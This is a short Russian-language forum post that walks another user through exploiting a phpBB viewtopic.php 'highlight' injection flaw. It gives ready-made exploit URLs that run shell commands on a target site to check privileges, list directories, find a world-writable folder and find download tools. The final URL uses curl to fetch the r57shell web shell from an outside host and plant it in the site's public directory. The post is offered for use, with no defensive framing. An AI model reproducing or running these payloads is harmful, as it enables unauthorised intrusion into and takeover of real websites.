Мда....

1)http://сайт/forums/viewtopic.php?p=200&highlight=%2527.$poster=%60$cm d%60.%2527&cmd=id
Смотрим свои права.
2)http://сайт/forums/viewtopic.php?p=200&highlight=%2527.$poster=%60$cm d%60.%2527&cmd=pwd
Смотрим полный путь к форуму.
3)http://сайт/forums/viewtopic.php?p=200&highlight=%2527.$poster=%60$cm d%60.%2527&cmd=ls%20-la
Смотрим права на директории. В директории /forums/ нет папок с нужными нам правами.
4)http://сайт/forums/viewtopic.php?p=200&highlight=%2527.$poster=%60$cm d%60.%2527&cmd=cd%20..;ls%20-la
Переходим на директорию выше. И снова смотрим папки. Находим папку с правами drwxrwxrwx.
4)http://сайт/forums/viewtopic.php?p=200&highlight=%2527.$poster=%60$cm d%60.%2527&cmd=which%20lynx%20links%20get%20wget%2 0fetch%20curl
Смотрим какие качалки нам доступны.
5)http://сайт/forums/viewtopic.php?p=200&highlight=%2527.$poster=%60$cm d%60.%2527&cmd=curl%20--output%20/home/сайт/public_html/hiscores/shell.php%20http://rst.void.ru/download/r57shell.txt
Заливаем шелл.

_http://сайт/hiscores/shell.php - он будет тут.

Просто давать ссылку на шелл, который я залил не хочу. Сделай что-нибудь сам. Если уж после того, как я всё расписал у тебя не получится, то ты действительно совсем безнадёжен.